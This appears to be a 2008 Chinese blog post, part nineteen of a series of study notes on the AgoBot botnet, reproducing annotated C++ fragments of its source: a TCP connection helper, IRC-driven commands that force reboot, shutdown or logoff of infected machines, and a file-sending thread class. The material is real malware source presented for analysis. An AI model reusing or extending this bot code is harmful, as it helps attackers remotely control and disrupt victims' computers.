AgoBot 僵尸网络研究笔记(十九)
2008-05-23 16:45
344 查看
十九、2008年04月17日
作者:青青子衿
email:anzijin@sina.com
1、void *CDownloadHelper::Run()函数中使用了 DoTcpConnect函数/////////////////////////////////////////////////////////////////
//
//函数功能:实现TCP协议通讯的连接
//参数: const char *szHost IP地址
// int iPort 端口
//返回值: 返回的是套接字变量
//
////////////////////////////////////////////////////////////////////
int DoTcpConnect(const char *szHost, int iPort)
{
int sSocket=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sSocket==INVALID_SOCKET)
{
return SOCKET_ERROR;
}
sockaddr_in ssin;
memset(&ssin, 0, sizeof(ssin));
ssin.sin_family=AF_INET;
ssin.sin_port=htons(iPort); //设置目标端端口
ssin.sin_addr.s_addr=ResolveAddress(szHost); //设置目标端的IP地址
if(connect(sSocket, (sockaddr*)&ssin, sizeof(sockaddr_in))==SOCKET_ERROR) //发起连接
{
//如果连接失败
xClose(sSocket);
return SOCKET_ERROR;
}
return sSocket;
}
2、class CRSLControl : public CCommandHandler类
class CRSLControl : public CCommandHandler
{
public:
void Init();
bool HandleCommand(CMessage *pMsg);
command m_cmdReboot, m_cmdShutdown, m_cmdLogoff;
};
包含两个成员函数,和三个成员变量。
3、void CRSLControl::Init() 函数
////////////////////////////////////////////////////////////////////////////////
//
//函数功能:完成CRSLControl类的初始化工作,向指令列表中添加,该类负责处理的指令
//参数: 无
//返回值: void
//
////////////////////////////////////////////////////////////////////////////////
void CRSLControl::Init()
{
g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdReboot, "rsl.reboot", "reboots the computer", this); //重启系统指令
g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdShutdown, "rsl.shutdown", "shuts the computer down", this); //关机指令
g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdLogoff, "rsl.logoff", "logs the user off", this); //注销指令
}
4、bool HandleCommand(CMessage *pMsg);函数
///////////////////////////////////////////////////////////////////////////////
//
//函数功能:该类的指令处理函数
//参数: CMessage *pMsg 收到的相应的指令
//返回值: 调用成功返回true,否则返回false
//
/////////////////////////////////////////////////////////////////////////////////////
bool CRSLControl::HandleCommand(CMessage *pMsg)
{
//处理重启指令
if(!pMsg->sCmd.Compare("rsl.reboot"))
{
//向控制端发送正在重启消息
g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo, "rebooting...");
#ifdef WIN32
ExitWindowsEx(EWX_REBOOT|EWX_FORCE,0); //重启计算机的函数
#else
system("reboot"); //linux平台下的重启计算机的函数
#endif // WIN32
}
//处理关闭计算机指令
else if(!pMsg->sCmd.Compare("rsl.shutdown"))
{
g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo, "shutting down...");
#ifdef WIN32
ExitWindowsEx(EWX_SHUTDOWN|EWX_FORCE,0);
#else
system("shutdown");
#endif // WIN32
}
//处理注销指令
else if(!pMsg->sCmd.Compare("rsl.logoff"))
{
g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo, /
"logging off...");
#ifdef WIN32
ExitWindowsEx(EWX_LOGOFF|EWX_FORCE,0);
#else
system("init 1");
#endif // WIN32
}
return false;
}
5、class CSendFile : public CThread 类
//////////////////////////////////////////////////////
//
//类功能:发送文件
//
//////////////////////////////////////////////////////
class CSendFile : public CThread
{
public:
virtual ~CSendFile()
{
if(m_sListenSocket>0)
{
xClose(m_sListenSocket);
}
}
virtual void *Run();
protected:
int m_sListenSocket;
sockaddr_in m_lAddr;
};
相关文章推荐
- AgoBot 僵尸网络研究笔记(二)
- AgoBot 僵尸网络研究笔记(十一)
- AgoBot 僵尸网络研究笔记(三)
- AgoBot 僵尸网络研究笔记(七)
- AgoBot 僵尸网络研究笔记(十五)
- AgoBot 僵尸网络研究笔记(十七)
- AgoBot 僵尸网络研究笔记(二十)
- AgoBot 僵尸网络研究笔记(六)
- AgoBot 僵尸网络研究笔记(十三)
- AgoBot 僵尸网络研究笔记(八)
- AgoBot 僵尸网络研究笔记(十八)
- AgoBot 僵尸网络研究笔记(一)
- AgoBot 僵尸网络研究笔记(四)
- AgoBot 僵尸网络研究笔记(十)
- AgoBot 僵尸网络研究笔记(十二)
- AgoBot 僵尸网络研究笔记(十四)
- AgoBot 僵尸网络研究笔记(十六)
- AgoBot 僵尸网络研究笔记(九)
- AgoBot 僵尸网络研究笔记(五)
- 2018-3-8(论文--网络评论中的非结构化信息表示与研究)笔记-----基于证据理论的网络评论综合方法